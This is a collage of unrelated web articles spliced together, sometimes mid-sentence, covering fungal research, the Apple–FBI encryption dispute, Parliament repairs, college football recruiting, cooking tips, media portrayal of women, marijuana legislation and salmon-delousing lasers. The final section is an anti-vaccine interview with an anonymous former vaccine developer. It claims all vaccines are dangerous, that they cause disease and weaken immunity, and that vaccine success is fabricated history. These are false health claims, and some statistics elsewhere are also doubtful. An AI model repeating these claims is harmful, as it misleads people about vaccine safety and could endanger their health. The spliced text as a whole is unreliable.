The utility’s forecasts for future milestones now include 48% by the end of 2020, 72% by the end of 2030 and 100% by the end of 2040 – five years ahead of the 2045 deadline.Mold and mildew may be doomed. Researchers are closer to understanding how these and other fungi grow. "Fungi have a big impact on our dinner plate," said Dr. Brian Shaw, Texas AgriLife Research plant pathologist. "We tend to think that getting food on the table is easy. But fungi are major disease-causing organisms for both plants and animals. With more research, we can find new ways to compete with them." Commonly known fungi are molds, mildews, mushrooms and yeast.
Anyone who thinks humans are not in an all-out war with pathogenic fungi need only know this: Some 70 percent of the major disease-causing organisms are fungi, according to Shaw.
That fact alone has researchers like Shaw going to great lengths to discover how to combat the negative aspects of fungi.
Shaw, for one, is challenging existing scientific knowledge with new observations on how fungal cells grow.
At a recent meeting of the International Fungal Biology Conference in Ensenada, Mexico, Shaw demonstrated with unique movie footage his observation that fungi cells grow and are shaped using both outward and inward flow of growth materials.
"I'm pushing a revolutionary concept," Shaw acknowledged.
Basically, fungi make a structure called a spore that helps the organism disperse. Each spore has a cellular marker that tells the spore to germinate, Shaw noted.
But researchers have puzzled over what makes the spore germinate and grow into the structures characteristic of fungi. Often a fungus is a parasite, meaning that it latches onto a plant or animal to live. Researchers want to find out how to make the fungus stop growing without harming the animal skin or plant cells on which the fungus grows.
A closer look shows that fungi are made of thread-like cells called hypha. Magnified, the individual threads look like the outline of a blimp. Growth of the fungi is confined to the apex or end of the hypha cell. That's different from the way animal or plant cells grow, Shaw said.
A common thought for 50 years has been that the hypha direct their growth to the apex of their cell through outward flow of growth material forming a longer and longer blimp-like shape. This is called exocytosis. But Shaw found that there is a region of the cell at the growing apex of the hypha that directs material inward. That process is known as endocytosis. He discovered this with the help of a student who took microscopic photos of the growing cell every 30 seconds for six hours. That yielded a video that demonstrated growth. A movie from this project can be seen at http://www3.interscience.wiley.com/journal/119409055/suppinfo.
"We think the hypha is recycling material," he said. "It is growing outward toward a marker at the cell apex, but is also recycling that marker inward. We call this the 'apical recycling model.'"
Shaw's work, supported by a National Science Foundation grant and the U.S. Department of Agriculture, has been done on the common lab fungus Aspergillus nidulans. It is not a pathogen, but information from Shaw's research translates to disease-causing fungi and will help researchers learn how to stop their harmful growth on plants and animals, he said.
Shaw said it is the balance between exocytosis and endocyotosis that results in growth of fungus and the shape of the cell, and researchers who understand how they grow can find better ways of stopping or curing fungal diseases.Neither Hillary Clinton nor Bernie Sanders was willing to pick a side Thursday in the heated battle between the FBI and Apple over the government’s demand that the company create new, less secure software to comply with a warrant.
The tech giant made headlines on Wednesday with its forceful response to a federal judge’s court order that it help the government break into an iPhone belonging to one of the San Bernardino killers, Syed Farook.
When Democratic town hall host José Díaz-Balart asked Sanders, “Whose side are you on?” Sanders replied: “Both.”
“I am very fearful in America about Big Brother. And that means not only the federal government getting into your emails or knowing what books you’re taking out of the library, or private corporations knowing everything there is to know about you in terms of your health records, your banking records, your consumer practices,” Sanders said.
“On the other hand, what I also worry about is the possibility of another terrorist attack against our country. And frankly, I think there is a middle ground that can be reached.”
Clinton called the situation a “difficult dilemma.” She discussed some of the main concerns Apple has “about opening the door, creating what they call a backdoor into encryption.” And she pointed out that the capability could be abused by authoritarian regimes like “the Chinese, Russian, Iranian governments” who want the same kind of access.
But she concluded with a favorite law enforcement talking point: that the smart people in America can surely solve this problem and find a way to help the FBI access encrypted communications with a little brainstorming and teamwork. “As smart as we are, there’s got to be some way on a very specific basis we could try to help get information around crimes and terrorism,” she said. Technologists refer to this as the “magic pony” solution.
Try as the two candidates might, however, there really isn’t a middle ground to occupy — either in the war between Apple and the FBI, or when it comes to the use of unbreakable encryption generally.
Technologists almost unanimously agree that there’s no secure way to insert a backdoor into their products without undermining security and exposing data to criminals and hackers.
And Apple CEO Tim Cook, supported by a growing legion of cryptologists, scientists, and other tech companies, said Wednesday that acceding to the government “would undermine the very freedoms and liberty our government is meant to protect.”
If Apple is forced to build a new way to hack its own product, the genie would be out of the bottle — the U.S. government could ask for it to do so again, and other governments could demand the same. Apple users would no longer have confidence that their data is secure, and presumably, other companies would soon find themselves in the same position.Image copyright PA
MPs and peers have been told that there is a risk of fire or a "destructive" loss of power if the Houses of Parliament is not fully refurbished.
Cables were at risk of "degrading", some pipe work was 40 years old while the parliamentary estate was rife with asbestos, experts told a committee examining restoration options.
Engineer Nick Mead said relocating MPs and peers during any building work was the "most straightforward" option.
No work is expected before 2020.
The Commons and Lords will have to vote in the next few years on what to do about the state of the 150-year-old Grade I listed building, redesigned in the mid 19th Century by architects Charles Barry and Augustus Pugin following a catastrophic fire.
The Palace of Westminster is partly sinking, much of its fabric outdated, and has been subject to a rolling programme of repairs for decades.
A report published last year concluded that a wholesale restoration of the Palace without moving MPs and peers out would cost £5.7bn and take 32 years. On the other hand, if MP and peers were moved out for six years, the cost would drop to £3.5bn.
MPs and peers looking at the various options available were told on Monday that a huge backlog of maintenance had built up and was unlikely to be cleared if the current programme of continuous repairs continued, another possible outcome.
Many of the building's internal systems had long ago reached the end of their natural lifespan, four leading experts said, while the building had been damaged by climate changes, with rainwater disposal systems struggling to cope with more "intense storm surges".
'Hidden cables'
Mr Mead, president of the Chartered Institution of Building Services Engineers, said there was a critical need for the building's electrical and pipe work to be renewed.
Asked what the risks were if comprehensive repairs were not undertaken by 2030, he replied "they would start" with circuits and cables fraying.
"The burnout of a cable may seem insignificant but the consequences are quite major," he said.
"Electrical cables have a life, 15 to 20 years. You have a number of hidden cables. You don't know the state they are in. The worst consequence is a fire and the catastrophic effect of that, given the amount of wood and finishes in this building.
Media playback is unsupported on your device Media caption Footage shows the extent of the Palace of Westminster's problems
"But there is also the more destructive nature. If you were to lose your power in the middle of a debate or you lost your lighting, the consequences of that. The pipe work is of an age where it corrodes from the inside. You will suddenly get a leak, a loss of heat."
Lynda Jubb, from the Royal Institution of Chartered Surveyors, estimated the maintenance backlog cost at £2.1bn and said Parliament "had a number of factors working against it in terms of trying to stay on top of the condition".
Asked whether the building could be brought up to scratch without a full or partial evacuation, she said this was "difficult to see".
'Life's work'
While there was a "precedent" for MPs and peers moving out to a different location, she acknowledged any such plans would be "very disruptive" and were likely to be met with resistance.
"If this is a life's work, this is a life's work," she said. "I think the original refurbishment took 32 years.
"The problem that Charles Barry had was asking members to move between chambers. I think he had great difficulty in getting space relinquished in order to get work done and that was the primary cause of delay at that time.
"In terms of life safety risk for construction workers, you have to understand that you are asking people to go into spaces where there is asbestos and to work in already difficult and dangerous conditions and also the duty of care that people who are working here have to you.
"That relationship is extremely difficult to manage and the cost of getting it wrong are unconscionable."
Ideas for a new temporary home for MPs and peers include the Queen Elizabeth II Conference Centre or the Methodist Central Hall, both a few hundred metres from the Palace of Westminster on the other side of Parliament square.
David Cameron has suggested that MPs could move into the Chamber of the House of Lords while work is carried out elsewhere on the estate, as happened between June 1941 and 1950 after the Commons chamber was completely destroyed by German bombing.Matt Falcon was poised for a big senior season, ready to prove to the world he was one of the best backs, not only in the state, but in the country.
Then, during a routine block, the Southfield senior's leg got rolled up on. Just like that, his season was over.
What he did not realize at the time, is that, not only would the injury end his senior season, but it would also affect his recruitment. Falcon tore his ACL and injured the same knee that ended his sophomore season. Wanting to make sure the surgery was done right, he went to Michigan, the school he was committed to since July, for the procedure.
Despite a successful surgery, recent conversations with the Wolverines have still left him with doubts about his football future.
"I want to play football and I can still play at a high level," he said, "but at this time, I'm divided because Michigan is only giving me one option. Coach Harbaugh told my mother quote 'if Matthew comes to Michigan, he will not be able to play football.' But they would pay for my college education for academics.
"I would have to sign a waiver saying I can't play even though top surgeons told me, my family and Coach Harbaugh I will be able to get back on the field and play at a high level."
Looking into other programs is an option, but at this time, Falcon prefers not to speak on that.
He says he is not decommitted from the Wolverines. In fact, he wrestled with publicizing his status with Michigan in the midst of an early season surge that had the team ranked as high as No. 12 in the polls. With questions mounting about his commitment, the Wolverines recruiting other running backs and the team now on a bye week, Falcon felt the time was right to answer some of those questions.
"I just want to apologize to the Michigan fans. I've worked hard my whole life to hopefully be given the opportunity to play football at the University of Michigan, and at this time that's being taken away from me."
For now, Falcon is in wait and see mode, but he is determined to make sure he comes back the same kid that received big time offers as early as his freshman year.
"My focus right now is to rehabilitate and get stronger. I don't know where my future may lead me."One of my fans asked me an interesting question on Facebook yesterday. “Ben, I’ve always considered myself a good cook, but in the past few years watching shows like Masterchef, I keep running across things that other chefs refer to as being necessary skills to “belong in the kitchen.” If you don’t know how to properly dice an onion, you don’t belong in the kitchen. If you don’t know how to filet a fish, you don’t belong in the kitchen….etc. I’d like to know what YOUR top 10 (or even 20) skill essentials are in order to be an efficient and respected cook in the kitchen. “
First of all, remember that cooking shows are television, and television isn’t always what it appears! Just because suddenly everyone knows how to make a souffle doesn’t mean they knew how to do that a week before the challenge was filmed. And just because Gordon Ramsay says, “If you can’t fillet a fish, you have no business being in the kitchen” does NOT make that a truism. He may be saying it for dramatic effect. Whether or not you can fillet a fish should depend on whether your family eats fish on a regular basis, and whether or not you have access to quality, fresh, already-filleted fish.
All that said, here is my list of 20 skills that I consider to be essential for a well-rounded cook: (Many of these are outlined in detail in my cookbook.)
1. How to dice an onion. Onions are the backbone of virtually every savor recipe in any cuisine on the planet. If you cook every day, you’re breaking down an onion every day. Don’t get hung up about the method. There are as many “right” ways to dice an onion as there are people on the planet. I grew up dicing an onion my own way, and when I saw people touting the only proper method is to leave the root end on and slice horizontally and then vertically, I thought that was silly. I can break down an onion faster than most people I’ve met, and I do it “my own way.” (For the record, I slice off the stem and root end, then slice the onion in half from the cut end to the cut end. Then I peel off the skin. I place the onion flat on the big cut side, then I cut slices all the way through the onion from cut end to cut end. Then grasp the onion by the round ends and hold it together as you slice the other way, and the onion falls into a perfect dice. No need for that third horizontal cut backwards into the onion, like many cooking shows demonstrate. That actually results in many varying sizes of dice. This method uses the onions natural, symmetrical layers to ensure a perfect dice.)
2. How to prep garlic. Along with onions, garlic is one of the most prevalent aromatic ingredients for most recipes. Garlic cloves are covered by a tight skin and are sticky and pungent. One of the best ways to peel them is to cut off the little hard “heel” at the root end, lay the clove on the cutting board and place the knife blade flat on top of it. Rap the knife carefully but firmly with the heel of your palm to smash the clove. The skin will loosen, and you can generally pull it off with one tug. The cut back and forth across the cloves until they are minced…or just place the whole smashed clove in the pot if you’re going to be cooking the sauce or soup for a long time. With regards to that garlic smell on your hands…modern science says that the old wive’s tail of rubbing your hands on stainless steel doesn’t work. But I still do it. I rarely have problems with my hands smelling like garlic. To speed prep, you can buy already-peeled cloves of garlic, whole, at many markets (especially at Asian markets) for very cheap. I do use these sometimes. But avoid those tubs of already-diced garlic stored in water. Their flavor is long gone!
3. How to separate an egg. Many recipes call for either egg whites or egg yolks, or require that you separate them to prepare each element differently. You need to be able to separate an egg without breaking the yolk, because if any yolk gets into the white, the fat content can prevent that white from beating properly. There are lots of ways to separate an egg. The most popular way is to crack the shell all around, then pour the yolk from shell half to shell half, letting the white drop into a bowl beneath:
I don’t like this method. The sharp shell egg could spell doom for that yolk at any moment. I prefer to crack the egg one-handed (it takes a little practice, but once you’ve got it down, you’ll never go back) and dump the whole egg into my other hand over a bowl. Separate your fingers just a bit to let the white fall through into the bowl, then gently set the yolk into a separate bowl. After a little practice, you’ll never separate an egg another way:
Keep in mind that you should always separate whites one egg at a time, then pour them out of the bowl into your “master bowl.” If you separate all whites into the same bowl, and accidentally break a yolk, you’ve ruined the whole batch of whites.
4. How to beat egg whites. While we’re on the subject of eggs, one of the biggest failures amateur bakers experience is under- or over-beating egg whites for recipes like cakes, meringues, and souffles. For dessert recipes, you can put at least half the sugar for the recipe directly into the whites (whether the recipe says to or not), then begin beating. The sugar granules help stabilize and whip the whites, with less chance for overbeating. Many recipes tell you to slowly add sugar as the whites whip…this is unnecessary. You can add the sugar entirely at the beginning and still have perfect results. For savory recipes, put the salt that the recipe calls for into the whites and then whip. You can also add 1/8 to 1/4 teaspoon of cream of tartar to ANY recipe that calls for beaten egg whites…it will not harm the recipe. The cream of tartar (which is a byproduct of the wine making process) will acidify the whites, and stabilize them for a stronger whip. (A few drops of lemon juice or vinegar will do the same thing, but not enough to flavor the whites.) Beat on high speed at first until the whites turn from yellowish to white, then slow to medium speed as the bubbles get smaller and smaller. Stop often to check your whites. Pull the beater out of the whites and invert them. If the whites on the top of the beater sag over limply, you’ve got soft peaks. If the whites stand straight up into a proud peak, you’ve got stiff peaks. If you beat the whites to the point where they start to separate and look chunky when you stir them, you’ve overbeaten them and your final results will suffer, if not fail. If in doubt, underbeat rather than overbeat!
5. Use the best equipment you can afford. I put this after the whites, because I remember the days using a cheap, little hand mixer to white egg whites. I did this recently in Hawaii when I was baking HUNDREDS of cupcakes and there was no stand mixer in the kitchen. It literally took an hour of beating to get the whites to soft peaks, and I couldn’t get them to go any farther. Getting a Kitchenaid stand mixer was a revelation to me and it dramatically improved my cooking. It was a gift, and luckily it was the Pro 600 watt model…I’ve since used friend’s smaller “Artisan” models, and I have to say, they’re not as good. I’ve also seen people blow out the motors on their Artisans, or on cheap knockoff-brand stand mixers, while kneading bread or rolling pasta. Save up, start a fund and request cash birthday and Christmas presents, and get the best. You will never regret it. This also goes for things like blenders and food processors, which are easy to burn out, and sub-standard models do not render good results. Cut out your Starbucks budget and put that $3 a day into a piggy bank. Spend that on high quality equipment, and you’ll never regret it. Regarding pots and pans and knives, however, you can easily break your budget with all the high-end options available. My vote is ALWAYS for cast iron, which is cheap, lasts a lifetime, and only needs a little extra care than clad stainless cookware. You’ll experience better results on a cheaper cooking surface. When it comes to knives, you can get BRILLIANT quality, full-tang, wood-inlaid handled knives at IKEA for a fraction of the price you’ll pay for German or Japanese knives. Their Slitbar series is of stunning quality, and the 6″ standard chef’s knife is $20. Seriously.
6. Care for your knives. This means honing them on a regular basis (at least once a week) and getting them sharpened once a year. If you’re not comfortable using that big honing bar that you see Gordon Ramsay use like lightning, get a table-top honer. IKEA sells one in their knife section for under $10. You set the knife into the slot and move it back and forth a few times. Honing does not SHARPEN the knife. But that razor-thin edge gets bent as you cut bones and tough veggies, and honing straightens it back out. Sharpen your knives once a year to keep them in great condition. It’s only a few dollars to have a standard knife sharpened. Check a local fabric store to find a sharpener…when you get them sharpened at a gourmet grocery store, it costs a lot more. Also, never ever ever use glass, metal, or hard plastic cutting boards, and never chop directly on your countertop. That’s the best way to ruin your knives. Use only wooden or soft plastic cutting boards. If you can actually sink your knife into the surface of the plastic, that’s what you’re looking for. Those hard melamine cutting boards are terrible for your knives. Use wooden cutting boards only for vegetables and fruits. Meats should be cut on plastic boards.
7. Care for your pots and pans. Some cookware is not meant to go into the dishwater. Read your owner’s manual. If you’re dishwashing these pots and pans, you are decreasing their life. The bottom may delaminate or you may be stripping off the cooking surface. If you’re like me and use primarily cast iron, these can NEVER go in the dishwasher. Hand wash them…you don’t even need soap unless there’s a big greasy mess to clean up. The more you use your cast iron, the easier it will become to clean as it seasons up through regular use. Sometimes when guests see me just wipe out a dirty cast iron skillet with a dry paper towel and put it back in the cabinet, they freak out. “That’s not sanitary! You need to wash with soap and sterilize it in the dishwasher!” What do you think the heat of the stove does, people? If your pan is hot enough to cook something, it is sterile. You just want to remove any actual bits of food on your cooking surface. Cast iron, if you wash it, should be THOROUGHLY dried before being put away. I like to wash it, dry it, then put it on a hot burner for a few minutes to evaporate any remaining liquid. Then I give it a tiny spritz of cooking spray, wipe that around to spread the oil onto the surface, and then put it away. Yes…it takes a bit longer that tossing it into the dishwasher. But cast iron is hands down the BEST cooking surface ever invented, it’s dirt cheap to buy compared to those hundred-dollar pots, and it will last many lifetimes if cared for. And cooking on that cast iron surface will make your food taste SO MUCH BETTER.
8. Measure dry and liquid ingredients properly. This may sound like a no-brainer, but I get lots of questions about how to properly measure. The most correct answer is not to measure, but to weigh. Every serious cook should have a kitchen scale to weigh dry and liquid ingredients, and seek our recipes that measure by weight and not volume. But, let’s face it, most recipes out there call for cups and teaspoons. So the proper way to measure dry ingredients is to scoop the flour or sugar out of the bag or box and into a |
the Razumkov Center think tank in Kyiv, says the draft is a “complicated picture” that’s been exploited for effect by Russian media.
“We shouldn’t rule out that this issue has been targeted by the Russian [side of the] information war, using different channels, sources and techniques,” he said.
Kopatko, the sociologist, agrees the issue is complex and points to a curious paradox: While more than 70 percent of the population wants a peaceful resolution to the conflict, more than 60 percent also believe it’s necessary to keep fighting, according to Research and Branding Group data.
“Social consciousness has gone through a sort of militarization,” Kopatko said. “People are living in another dimension, they look at things differently now.”Last night I watched Jennifer Siebel Newsom’s chilling documentary about the media’s portrayal of women and its impact on young girls and boys. Sitting on the edge of my seat, my mind raced with what to do next. Jennifer’s action was to spread the word. My first action is to help her.
Here are 25 of the most startling alarm bells and quotes from this must-see documentary – now being shown on OWN:
Media
1. American teenagers spend more than 10 hours a day consuming media, most of it filled with content that objectifies women and distorts their bodies.
2. 53% of 12 year old girls feel unhappy with their bodies, 78% of 17 year old girls feel unhappy with their bodies and 65% of women and girls have an eating disorder.
3. Rates of depression among girls and women have doubled between 2000 and 2010.
4. “I worry about how much pressure my daughters feel. In a society that features anorexic actresses and models and television stars, we get conditioned to think this is what women should look like.”
- Katie Couric
5. Girls are learning to see themselves as objects. American Psychological Association calls self-objectification a national epidemic: Women and girls who self-objectify are more likely to be depressed, have lower confidence, lower ambition and lower GPAs.
6. US Advertisers support this content - they spent 236 billion in 2009. Because of deregulation - “This is the first time in human history that marketers have dictated our cultural norms and values.”
– Caroline Heldman, Occidental College
7. Women respond to advertisers’ messages of never being good enough: American women spend more money on the pursuit of beauty than on their own education.
Government
8. Women make up 17% of congress. The 2010 mid-term election is the first time women have not made gains in congress since 1979.
9. 67 countries in the world have had female presidents or prime ministers. The United States is not one of them. Cuba, China, Iraq and Afghanistan have more women in government than the US does.
10. “We are short changing voices that are urgently needed in public forums from ever getting to the table.”
– Cory Booker
11. Condoleezza Rice shares an anecdote which shows why it is essential to have women in the room: “When there was an attempt to change Title IX and some pressure from Capitol Hill about that, I remember Karen Hughes and I going to the President and saying ‘You can’t do that. You don’t remember what it was like to be a woman in college prior to Title IX when you had to have a bake sale to get your sports team to take a trip.’”
Content
12. Only 16% of protagonists in film are female. Only 7% of film directors and 10% of writers are female.
13. Between 1937 and 2005 there were only 13 female protagonists in animated movies. The female characters in G rated movies are just as likely to wear revealing clothing as in R rated movies.
14. More than 70% of women on TV are in their 20s and 30s. “A male dominant system values women as child bearers so it limits their value to the time that they are sexually and reproductively active and they become much less valuable after that.” – Gloria Steinem
15. Women and girls are the subject of less than 20% of news stories. “When a group is not featured in the media… it is called symbolic annhilation.” – Martha Lauzen, Center for the Study of Women in TV and Film
16. “All of Hollywood is run on one assumption: That women will watch stories about men, but men won’t watch stories about women. It is a horrible indictment of our society of we assume that one half of our population is just not interested in the other half.”
– Geena Davis
17. “There used to be a thing called the family hour, where you couldn’t air anything inappropriate for families before 9 o'clock at night. That is gone. Today it is the wild wild west. In the last 25 years our lawmakers have essentially been absent, out of the picture."
- Jim Steyer, Common Sense Media
Messages
18. Study after study proves that TV violence enhances violent behavior in real life.
19. “Turning a human being into a thing is almost always the first step towards justifying violence against that person.”
- Jean Kilbourne, Wellesley Centers for Women
20. 1 in 4 women will be abused by a partner in their lifetime. 1 in 6 women are survivors of rape or attempted rape.
21. “We have to help our boys when they are really young – 5 or 6… help them not bifurcate their head from their heart, not become emotionally illiterate, and feel that they can’t show emotion, that they are sissys if they cry or that they can’t be expressing love.”
- Jane Fonda
22. “How do we expect our sons to treat women with respect and to speak up when they see women being treated with disrespect if they don’t see their fathers doing it? This is about adult men.”
- Jackson Katz, Author, The Macho Paradox
23. “If women spent a tenth of the time thinking about how to solve the world’s problems as they think about their weight…we could solve them in a matter of months.”
- Katie Couric
24. If you and I, every time we pass a mirror, complain about our looks, remember that a girl is watching us and that is what she is learning.”
- Gloria Steinem
25. “As (Martin Luther) King said, 'The problem today is not the vitriolic words and the evil actions of the bad people. It is the appalling inaction and silence of the good people.'”
- Cory Booker
There are countless more amazing voices and stories in “Miss Representation” which I urge you to see. Check here for screenings.
Samantha Ettus is an entrepreneur, bestselling author and speaker on personal branding for women. Join her on Twitter @samanthaettus or email her at samantha@expertsmedia.com."If you can put yourself in a consistent position of having performance pressure to a trusted audience, that anxiety can be leveraged as a tool to shape your design process and make you more efficient."
- Game designer Lisa Brown, speaking at GDC 2015
Producing games with regular input from prospective players is becoming common practice for many developers now that Kickstarter, Steam's Early Access platform and similar services are ascendant.
One of the key benefits of such practices, according to indie developer and former Insomniac Games designer (Sunset Overdrive, Slow Down Bull) Lisa Brown, is that making yourself accountable to a trusted audience on a regular basis induces anxiety that can be used for good -- if you channel it towards making your game development process more efficient by say, livestreaming your production efforts to the public every week and incorporating useful feedback into your work.
In the spirit of efficiency, Brown offered her advice on making game development more efficient through accountability in a five-minute GDC 2015 Microtalk that you can now watch for free on the GDC YouTube channel.by Erik Altieri, NORML Executive Director
On Friday, marijuana reformers recorded the closest vote for a legalization measure on the floor of a state legislature in recent history.
Rep. Diane Russell’s LD 1229, which would place the question of legalization before Maine voters this fall, was narrowly rejected in a 71 to 67 vote. We only managed to get this vote so close because of the outpouring of support via phone and email that Representatives heard from their constituents. Never doubt the power that making you opinion known to your elected officials has a very quantifiable effect.
The good news is that the fight for legalization in Maine still isn’t over for this year. Representative Russell just informed us that she intends to continue the fight for legalization to the floor of the State Senate. The Senate will vote on LD 1229 as soon as Monday.
[UPDATE: Unfortunately, Monday’s Senate vote fell short: http://bangordailynews.com/2013/06/10/politics/state-house/maine-senate-opposes-sending-recreational-marijuana-question-to-voters/. The Senate defeat ends the legislative effort for this year.]De-lousing is a trying agricultural process. It becomes a major problem in pens which contain the hundreds of thousands of salmon farmed by Norwegians — the world’s largest salmon exporter — an environment which allows the parasite to flourish. To tackle the problem, the Stingray, developed by [Stingray Marine Solutions], is an autonomous drone capable of destroying the lice with a laser in the order of tens of thousands per day.
Introduced in Norway back in 2014 — and some areas in Scotland in 2016 — the Stingray floats in the salmon pen, alert and waiting. If the lice-recognition software (never thought you’d hear that term, huh?) detects a parasite for more than two frames in the video feed, it immediately annihilates it with a 530 nanometre-wide, 100 millisecond laser pulse from up to two metres away. Don’t worry — the salmon’s scales are reflective enough to leave it unharmed, while the pest is fried to a crisp. In action, it’s reminiscent of a point-defense laser on a spaceship.
Land-based agriculture has its own problems with weeds and undesirable plants, which this robot being tested in Australia aims to root out.
[Thanks for the tip, Douglas!]by Prof. Keith Scott-Mumby MD, MB, ChB,PhD
Alternative-Doctor.com
Disclaimer: Any information obtained here is not to be construed as medical OR legal advice. The decision to vaccinate and how you implement that decision is yours and yours alone.
Jon Rappaport interviews an ex-vaccine worker
“Dr Mark Randall”.
Q: You were once certain that vaccines were the hallmark of good medicine.
A: Yes I was. I helped develop a few vaccines. I won’t say which ones.
Q: Why not?
A: I want to preserve my privacy.
Q: So you think you could have problems if you came out into the open?
A: I believe I could lose my pension.
Q: On what grounds?
A: The grounds don’t matter. These people have ways of causing you problems, when you were once part of the Club. I know one or two people who were put under surveillance, who were harassed.
Q: Harassed by whom?
A: The FBI.
Q: Really?
A: Sure. The FBI used other pretexts. And the IRS can come calling too.
Q: So much for free speech.
A: I was “part of the inner circle.” If now I began to name names and make specific accusations against researchers, I could be in a world of trouble.
Q: What is at the bottom of these efforts at harassment?
A: Vaccines are the last defense of modern medicine. Vaccines are the ultimate justification for the overall “brilliance” of modern medicine.
Q: Do you believe that people should be allowed to choose whether they should get vaccines?
A: On a political level, yes. On a scientific level, people need information, so that they can choose well. It’s one thing to say choice is good. But if the atmosphere is full of lies, how can you choose? Also, if the FDA were run by honorable people, these vaccines would not be granted licenses. They would be investigated to within an inch of their lives.
Q: There are medical historians who state that the overall decline of illnesses was not due to vaccines.
A: I know. For a long time, I ignored their work.
Q: Why?
A: Because I was afraid of what I would find out. I was in the business of developing vaccines. My livelihood depended on continuing that work.
Q: And then?
A: I did my own investigation.
Q: What conclusions did you come to?
A: The decline of disease is due to improved living conditions.
Q: What conditions?
A: Cleaner water. Advanced sewage systems. Nutrition. Fresher food. A decrease in poverty. Germs may be everywhere, but when you are healthy, you don’t contract the diseases as easily.
Q: What did you feel when you completed your own investigation?
A: Despair. I realized I was working a sector based on a collection of lies.
Q: Are some vaccines more dangerous than others?
A: Yes. The DPT shot, for example. The MMR. But some lots of a vaccine are more dangerous than other lots of the same vaccine. As far as I’m concerned, all vaccines are dangerous.
Q: Why?
A: Several reasons. They involve the human immune system in a process that tends to compromise immunity. They can actually cause the disease they are supposed to prevent. They can cause other diseases than the ones they are supposed to prevent.
Q: Why are we quoted statistics which seem to prove that vaccines have been tremendously successful at wiping out diseases?
A: Why? To give the illusion that these vaccines are useful. If a vaccine suppresses visible symptoms of a disease like measles, everyone assumes that the vaccine is a success. But, under the surface, the vaccine can harm the immune system itself. And if it causes other diseases — say, meningitis — that fact is masked, because no one believes that the vaccine can do that. The connection is overlooked.
Q: It is said that the smallpox vaccine wiped out smallpox in England.
A: Yes. But when you study the available statistics, you get another picture.
Q: Which is?
A: There were cities in England where people who were not vaccinated did not get smallpox. There were places where people who were vaccinated experienced smallpox epidemics. And smallpox was already on the decline before the vaccine was introduced.
Q: So you’re saying that we have been treated to a false history.
A: Yes. That’s exactly what I’m saying. This is a history that has been cooked up to convince people that vaccines are invariably safe and effective.
Q: Now, you worked in labs. Where purity was an issue.
A: The public believes that these labs, these manufacturing facilities are the cleanest places in the world. That is not true. Contamination occurs all the time. You get all sorts of debris introduced into vaccines.
Q: For example, the SV40 monkey virus slips into the polio vaccine.
A: Well yes, that happened. But that’s not what I mean. The SV40 got into the polio vaccine because the vaccine was made by using monkey kidneys. But I’m talking about something else. The actual lab conditions. The mistakes. The careless errors. SV40, which was later found in cancer tumors — that was what I would call a structural problem. It was an accepted part of the manufacturing process. If you use monkey kidneys, you open the door to germs which you don’t know are in those kidneys.
Q: Okay, but let’s ignore that distinction between different types of contaminants for a moment. What contaminants did you find in your many years of work with vaccines?
A: All right. I’ll give you some of what I came across, and I’ll also give you what colleagues of mine found. Here’s a partial list. In the Rimavex measles vaccine, we found various chicken viruses. In polio vaccine, we found acanthamoeba, which is a so-called “brain-eating” amoeba. Simian cytomegalovirus in polio vaccine. Simian foamy virus in the rotavirus vaccine. Bird-cancer viruses in the MMR vaccine. Various micro-organisms in the anthrax vaccine. I’ve found potentially dangerous enzyme inhibitors in several vaccines. Duck, dog, and rabbit viruses in the rubella vaccine. Avian leucosis virus in the flu vaccine. Pestivirus in the MMR vaccine.
Q: Let me get this straight. These are all contaminants which don’t belong in the vaccines.
A: That’s right. And if you try to calculate what damage these contaminants can cause, well, we don’t really know, because no testing has been done, or very little testing. It’s a game of roulette. You take your chances. Also, most people don’t know that some polio vaccines, adenovirus vaccines, rubella and hep A and measles vaccines have been made with aborted human fetal tissue. I have found what I believed were bacterial fragments and poliovirus in these vaccines from time to time — which may have come from that fetal tissue. When you look for contaminants in vaccines, you can come up with material that IS puzzling. You know it shouldn’t be there, but you don’t know exactly what you’ve got. I have found what I believed was a very small “fragment” of human hair and also human mucus. I have found what can only be called “foreign protein,” which could mean almost anything. It could mean protein from viruses.
Q: Alarm bells are ringing all over the place.
A: How do you think I felt? Remember, this material is going into the bloodstream without passing through some of the ordinary immune defenses.
Q: How were your findings received?
A: Basically, it was, don’t worry, this can’t be helped. In making vaccines, you use various animals’ tissue, and that’s where this kind of contamination enters in. Of course, I’m not even mentioning the standard chemicals like formaldehyde, mercury, and aluminum which are purposely put into vaccines.
Q: This information is pretty staggering.
A: Yes. And I’m just mentioning some of the biological contaminants. Who knows how many others there are? Others we don’t find because we don’t think to look for them. If tissue from, say, a bird is used to make a vaccine, how many possible germs can be in that tissue? We have no idea. We have no idea what they might be, or what effects they could have on humans.
Q: And beyond the purity issue?
A: You are dealing with the basic faulty premise about vaccines. That they intricately stimulate the immune system to create the conditions for immunity from disease. That is the bad premise. It doesn’t work that way. A vaccine is supposed to “create” antibodies which, indirectly, offer protection against disease. However, the immune system is much larger and more involved than antibodies and their related “killer cells.”
Q: The immune system is?
A: The entire body, really. Plus the mind. It’s all immune system, you might say. That is why you can have, in the middle of an epidemic, those individuals who remain healthy.
Q: So the level of general health is important.
A: More than important. Vital.
Q: How are vaccine statistics falsely presented?
A: There are many ways. For example, suppose that 25 people who have received the hepatitis B vaccine come down with hepatitis. Well, hep B is a liver disease. But you can call liver disease many things. You can change the diagnosis. Then, you’ve concealed the root cause of the problem.
Q: And that happens?
A: All the time. It HAS to happen, if the doctors automatically assume that people who get vaccines DO NOT come down with the diseases they are now supposed to be protected from. And that is exactly what doctors assume.You see, it’s circular reasoning. It’s a closed system. It admits no fault. No possible fault. If a person who gets a vaccine against hepatitis gets hepatitis, or gets some other disease, the automatic assumption is, this had nothing to do with the disease.
Q: In your years working in the vaccine establishment, how many doctors did you encounter who admitted that vaccines were a problem?
A: None. There were a few who privately questioned what they were doing. But they would never go public, even within their companies.
Q: What was the turning point for you?
A: I had a friend whose baby died after a DPT shot.
Q: Did you investigate?
A: Yes, informally. I found that this baby was completely healthy before the vaccination. There was no reason for his death, except the vaccine. That started my doubts. Of course, I wanted to believe that the baby had gotten a bad shot from a bad lot. But as I looked into this further, I found that was not the case in this instance. I was being drawn into a spiral of doubt that increased over time. I continued to investigate.I found that, contrary to what I thought, vaccines are not tested in a scientific way.
Q: What do you mean?
A: For example, no long-term studies are done on any vaccines. Long-term follow-up is not done in any careful way. Why? Because, again, the assumption is made that vaccines do not cause problems. So why should anyone check? On top of that, a vaccine reaction is defined so that all bad reactions are said to occur very soon after the shot is given. But that does not make sense.
Q: Why doesn’t it make sense?
